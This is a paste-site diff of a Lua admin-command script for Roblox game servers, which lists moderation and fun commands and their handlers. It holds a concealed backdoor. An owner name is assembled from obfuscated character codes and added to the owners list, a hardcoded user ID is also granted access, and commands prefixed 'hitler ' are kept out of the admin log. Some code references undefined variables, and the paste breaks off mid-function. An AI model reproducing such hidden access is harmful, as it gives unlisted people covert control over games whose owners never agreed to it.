View difference between Paste ID: rMbTQVey and kShvA4iK
SHOW: | | - or go back to the newest paste.
1
-----------------------------------------------------------------------------------------
2
-- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
3
-----------------------------------------------------------------------------------------
4-
local owners = {"itsJaden2"} -- Are able to set admins who can ban/etc... using :pa name
4+
local owners = {"personsadminlol"} -- Are able to set admins who can ban/etc... using :pa name
5
local admins = {"Emptypeace", "Thalialauzon12", "Pawzkat", "AaronTheAsian", "Thunderyk2k", "JeffHardy731", "Britany1236", "Zethyr", "Darthowne12345", "wolvesrule12345", "3L1T3xT035x", "SolemnStrix", "WimpyKids34"} -- Sets admins who can use ban/kick/admin or shutdown
6
local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
7
local banland = {"MasterKhaos", "jay182612"} -- Permanently Bans people
8
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
9
local AutoUpdate = true -- Set to false if you don't want it to automatically update
10
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
11
---------------------
12
--    VIP Admin    --
13
---------------------
14
local VipAdmin = false -- If someone can have admin for owning an item
15
local ItemId = 0 -- The item they must own in order to have admin
16
---------------------
17
--   Group Admin   --
18
---------------------
19
local GroupAdmin = false -- If a certain group can have admin
20
local GroupId = 0 -- Sets the group id that can have admin
21
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
22
---------------------
23
-- Tips and Tricks --
24
---------------------
25
--[[
26
With this admin you can do a command on multiple people at a time;
27
	 :kill me,noob1,noob2,random,team-raiders,nonadmins
28
29
You can also use a variety commands for different people;
30
	 all
31
	 others
32
	 me
33
	 team-
34
	 admins
35
	 nonadmins
36
	 random
37
--]]
38
---------------------
39
--    Commands     --
40
---------------------
41
--[[
42
-- |Temp Admin Commands| --
43
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
44
1. :s print("Hello World") -- Lets you script normally
45
2. :ls print("Hello World") -- Lets you script in localscripts
46
3. :clear -- Will remove all scripts/localscripts and jails
47
4. :m Hello People -- This commands will let you shout a message to everyone on the server
48
10. :jump thu -- Makes the player jump
49
11. :sit thu -- Makes the player sit
50
12. :invisible thu -- Makes the player invisible
51
13. :visible thun -- Makes the player visible
52
38. :give thun sword -- Gives the player a tool
53
39. :damage thun -- Damages the player
54
40. :grav thun -- Sets the player's gravity to normal
55
41. :setgrav thun 100 -- Sets the player's gravity
56
42. :nograv thun -- Makes the player have 0 gravity
57
43. :health thun 1337 -- Changes the player's health
58
44. :speed thun 1337 -- Changes the player's walkspeed
59
45. :name thun potato -- Changes the player's name
60
46. :unname thun -- Remove the player's name
61
47. :team thun Raiders -- Changes the player's team
62
48. :stopmusic -- Will stop all music playing in the server
63
49. :teleport thun potato -- Teleports the player
64
50. :change thun kills 1337 -- Changes a player's stat
65
59. :normal thun -- Puts the player back to normal
66
66. :guifix thun -- Will fix trippy/strobe/blind on a player
67
70. :lock thun -- Locks the player
68
71. :unlock thun -- Unlocks the player
69
75. :fix -- This will fix the lighting to it's original settings
70
76. :fly thun -- Makes the player fly
71
77. :unfly thun -- Removes fly from the player
72
78. :noclip thun -- Makes the player able to noclip
73
79. :clip thun -- Removes noclipping from the player
74
80. :pm thun Hey bro -- Sends the player a private message
75
85. :place thun 1337 -- Sends a teleporation request to a player to go to a different place
76
86. :char thun 261 -- Will make a player look like a different player ID
77
87. :unchar thun -- Will return the player back to normal
78
88. :h Hello People -- This will shout a hint to everyone
79
89. :rank thun 109373 -- Will show up a message with the person's Role and Rank in a group
80
91. :sword thun -- Will give the player a sword
81
97. :admins -- Shows the admin list
82
98. :bans -- Shows the banlist
83
99. :musiclist -- Shows the music list
84
101. :cape thun Really black -- Gives the player a colored cape
85
102. :uncape thun -- Removes the player's cape
86
103. :loopheal thun -- Will constantly heal the player
87
105. :hat thun 1337 -- Will give the player a hat under the id of 1337
88
106. :unloopheal thun -- Will remove the loopheal on the player
89
112. :resetstats thun -- Sets all the stats of a player to 0
90
114. :cmdbar -- Gives the speaker a command bar
91
115. :shirt thun 1337 -- Changes the player's shirt
92
116. :pants thun 1337 -- Changes the player's pants
93
117. :face thun 1337 -- Changes the player's face
94
118. :swagify thun -- Swagifies the player
95
119. :version -- Shows the current version of the admin
96
120. :tm 1337 yolo -- Shows a message for 1337 seconds
97
121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
98
123. :lsplr thun print("yolo") -- Creates a localscript inside of a player
99
100
-- |Admin Commands| --
101
- :serverlock -- Locks the server
102
- :serverunlock -- Unlocks the server
103
- :sm Hello World -- Creates a system message
104
- :crash thun -- Crashes a player
105
- :admin thun -- Admins a player
106
- :unadmin thun -- Unadmins a player
107
- :ban thun -- Bans a player
108
- :unban thun -- Unbans a player
109
- :logs -- Will show all of the commands any admin has used in a game session
110
- :shutdown -- Shutsdown the server
111
- :starttools thun -- Will give the player starter tools
112
- :jail thun -- Puts the player in a jail
113
- :unjail thun -- Removes the jail from the player
114
- :music 1337 -- Plays a sound from the ID
115
- :kick thun -- Removes the player from the game
116
- :clone thun -- Creates a clone of the player
117
- :kill thu -- Kills the player
118
- :respawn thu -- Respawns the player
119
120
-- |Owner Commands| --
121
- :pa thun -- Makes someone a super admin
122
- :unpa thun -- Removes a super admin21. :ff thun -- Adds a forcefield to the player
123
- :unff thun -- Removes the forcefield from the player
124
- :punish thun -- Punishes the player
125
- :unpunish thun -- Unpunishes the player
126
- :freeze thun -- Freezes the player
127
- :thaw thun -- Thaws the player
128
- :heal thun -- Heals the player
129
- :god thun -- Makes the player have infinite health
130
- :ungod thun -- Makes the player have 100 health
131
- :removetools thun -- Removes all tools from the player
132
- :btools thun -- Gives the player building tools
133
- :startergive thun epic -- Gives a player a gear in their starterpack
134
- :tools -- Gives a list of the tools in the lighting
135
- :gear thun 1337 -- Gives a player a gear
136
137
-- |True Owner Commands| --
138
- :oa thun -- Makes someone an owner
139
- :unoa thun -- Removes an owner
140
- :settings -- Shows settings for the commands
141
--]]
142
---------------------
143
--   Main Script   --
144
---------------------
145
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end 
146
147
function CHEESE()
148
if game:service("Lighting"):findFirstChild("KACV2") then
149
owners = {} admins = {} tempadmins = {} banland = {}
150
for i,v in pairs(game.Lighting.KACV2:children()) do
151
if v.Name == "Owner" then table.insert(owners, v.Value) end
152
if v.Name == "Admin" then table.insert(admins, v.Value) end
153
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
154
if v.Name == "Banland" then table.insert(banland, v.Value) end
155
if v.Name == "Prefix" then prefix = v.Value end
156
if v.Name == "FunCommands" then FunCommands = v.Value end
157
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
158
if v.Name == "GroupId" then GroupId = v.Value end
159
if v.Name == "GroupRank" then GroupRank = v.Value end
160
if v.Name == "VipAdmin" then VipAdmin = v.Value end
161
if v.Name == "ItemId" then ItemId = v.Value end
162
end
163
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
164
end
165
166
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
167
local lobjs = {}
168
local objects = {}
169
local logs = {}
170
local nfs = ""
171
local slock = false
172
173
function GetTime()
174
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
175
if min < 10 then min = "0"..min end
176
return hour..":"..min
177
end
178
179
function ChkOwner(str)
180
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
181
return false
182
end
183
184
function ChkAdmin(str,ck) 
185
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
186
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end 
187
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end 
188
return false 
189
end
190
191
function ChkGroupAdmin(plr)
192
if GroupAdmin then
193
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
194
return false
195
end
196
end
197
198
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
199
200
function GetPlr(plr, str)
201
local plrz = {} str = str:lower()
202
if str == "all" then plrz = game.Players:children()
203
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
204
else
205
local sn = {1} local en = {}
206
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
207
for x = 1, #sn do 
208
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
209
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
210
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
211
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
212
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
213
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then 
214
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
215
end end end
216
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
217
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then 
218
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
219
end end end
220
else
221
for a, plyr in pairs(game.Players:children()) do 
222
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then 
223
table.insert(plrz, plyr) break
224
end
225
end 
226
end
227
end
228
end
229
return plrz
230
end
231
232
function Hint(str, plrz, time)
233
for i, v in pairs(plrz) do
234
if v and v:findFirstChild("PlayerGui") then
235
coroutine.resume(coroutine.create(function()
236
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
237
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
238
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
239
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
240
if not time then wait((#str/19)+2.5) else wait(time) end
241
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
242
end))
243
end
244
end
245
end
246
247
function Message(ttl, str, scroll, plrz, time)
248
for i, v in pairs(plrz) do
249
if v and v:findFirstChild("PlayerGui") then
250
coroutine.resume(coroutine.create(function()
251
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
252
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
253
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
254
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
255
scr.Parent = v.PlayerGui
256
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) 
257
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
258
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
259
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
260
end))
261
end
262
end
263
end
264
265
function RemoveMessage() 
266
for i,v in pairs(game.Players:children()) do 
267
if v and v:findFirstChild("PlayerGui") then 
268
for q,ms in pairs(v.PlayerGui:children()) do
269
if ms.Name == "MessageGUI" then
270
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
271
elseif ms.Name == "HintGUI" then
272
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
273
end
274
end
275
end
276
end
277
end
278
279
_G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
280
_G["RemoveMessage"] = RemoveMessage()
281
282
function Output(str, plr)
283
coroutine.resume(coroutine.create(function()
284
local b, e = loadstring(str)
285
if not b and plr:findFirstChild("PlayerGui") then
286
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
287
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
288
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
289
return
290
end
291
end))
292
end
293
294
295
296
function ScrollGui()
297
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
298
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
299
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
300
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
301
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
302
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
303
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
304
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
305
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
306
local num = 0
307
local downv = false
308
local upv = false
309
310
down.MouseButton1Down:connect(function() downv = true upv = false
311
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
312
repeat  pos = pos + UDim2.new(0,0,0,-6)
313
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
314
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
315
end) 
316
down.MouseButton1Up:connect(function() downv = false end)
317
up.MouseButton1Down:connect(function() upv = true downv = false
318
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
319
repeat  pos = pos + UDim2.new(0,0,0,6)
320
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
321
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
322
end) 
323
up.MouseButton1Up:connect(function() upv = false end)
324
return scr, cmf, ent, num
325
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
326
if not ntab then script:Destroy() end
327
if not bct then script:Destroy() end
328
329
function Chat(msg,plr)
330
coroutine.resume(coroutine.create(function()
331
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
332
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
333
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
334
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
335
if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
336
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
337
if msg:lower() == "cmds" or msg:lower() == "commands" then
338
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
339
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
340
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
341
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
342
local ost = {"pa plr","unpa plr","nuke plr"}
343
local tost = {"oa plr","unoa plr","settings"}
344
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
345
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
346
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
347
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
348
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
349
end
350
351
if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
352
353
if msg:lower() == "admins" or msg:lower() == "adminlist" then
354
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
355
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
356
for i, v in pairs(owners) do if v:lower() ~= "ThunderBladeWolf" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
357
for i, v in pairs(admins) do if v:lower() ~= "ThunderBladeWolf" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
358
for i, v in pairs(tempadmins) do if v:lower() ~= "ThunderBladeWolf" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
359
end end
360
361
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
362
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
363
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
364
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
365
end
366
367
if msg:lower() == "tools" or msg:lower() == "toollist" then
368
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
369
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
370
for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
371
end
372
373
if msg:lower():sub(1,2) == "s " then
374
coroutine.resume(coroutine.create(function()
375
Output(msg:sub(3), plr)
376
if script:findFirstChild("ScriptBase") then
377
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
378
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
379
else loadstring(msg:sub(3))()
380
end
381
end))
382
end
383
384
if msg:lower():sub(1,3) == "ls " then
385
coroutine.resume(coroutine.create(function()
386
if script:findFirstChild("LocalScriptBase") then
387
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
388
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
389
end
390
end))
391
end
392
393
if msg:lower():sub(1,6) == "lsplr " then
394
local chk1 = msg:lower():sub(7):find(" ") + 6
395
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
396
for i, v in pairs(plrz) do
397
coroutine.resume(coroutine.create(function()
398
if v and v:findFirstChild("PlayerGui") then
399
if script:findFirstChild("LocalScriptBase") then
400
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
401
table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
402
end
403
end
404
end))
405
end
406
end
407
408
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
409
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
410
RemoveMessage()
411
objects = {}
412
end
413
414
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
415
game.Lighting.Ambient = origsettings.abt
416
game.Lighting.Brightness = origsettings.brt
417
game.Lighting.TimeOfDay = origsettings.time
418
game.Lighting.FogColor = origsettings.fclr
419
game.Lighting.FogEnd = origsettings.fe
420
game.Lighting.FogStart = origsettings.fs
421
for i, v in pairs(lobjs) do v:Destroy() end
422
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
423
end
424
425
if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
426
coroutine.resume(coroutine.create(function()
427
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
428
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
429
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
430
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
431
end))
432
end
433
434
if msg:lower():sub(1,10) == "countdown " then
435
local num = math.min(tonumber(msg:sub(11)),120)
436
for i = num, 1, -1 do
437
coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
438
wait(1)
439
end
440
end
441
442
if msg:lower():sub(1,3) == "tm " then
443
local chk1 = msg:lower():sub(4):find(" ") + 3
444
local num = tonumber(msg:sub(4,chk1-1))
445
Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
446
end
447
448
if msg:lower():sub(1,2) == "m " then
449
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
450
end
451
452
if msg:lower():sub(1,2) == "h " then
453
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
454
end
455
456
if msg:lower():sub(1,3) == "pm " then
457
local chk1 = msg:lower():sub(4):find(" ") + 3
458
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
459
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
460
end
461
462
if msg:lower():sub(1,11) == "resetstats " then
463
local plrz = GetPlr(plr, msg:lower():sub(12))
464
for i, v in pairs(plrz) do
465
coroutine.resume(coroutine.create(function()
466
if v and v:findFirstChild("leaderstats") then
467
for a, q in pairs(v.leaderstats:children()) do
468
if q:IsA("IntValue") then q.Value = 0 end
469
end
470
end
471
end))
472
end
473
end
474
475
if msg:lower():sub(1,4) == "hat " then
476
local chk1 = msg:lower():sub(5):find(" ") + 4
477
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
478
for i, v in pairs(plrz) do
479
coroutine.resume(coroutine.create(function()
480
if v and v.Character then
481
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
482
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
483
obj:Destroy()
484
end
485
end))
486
end
487
end
488
489
if msg:lower():sub(1,5) == "cape " then
490
local chk1 = msg:lower():sub(6):find(" ")
491
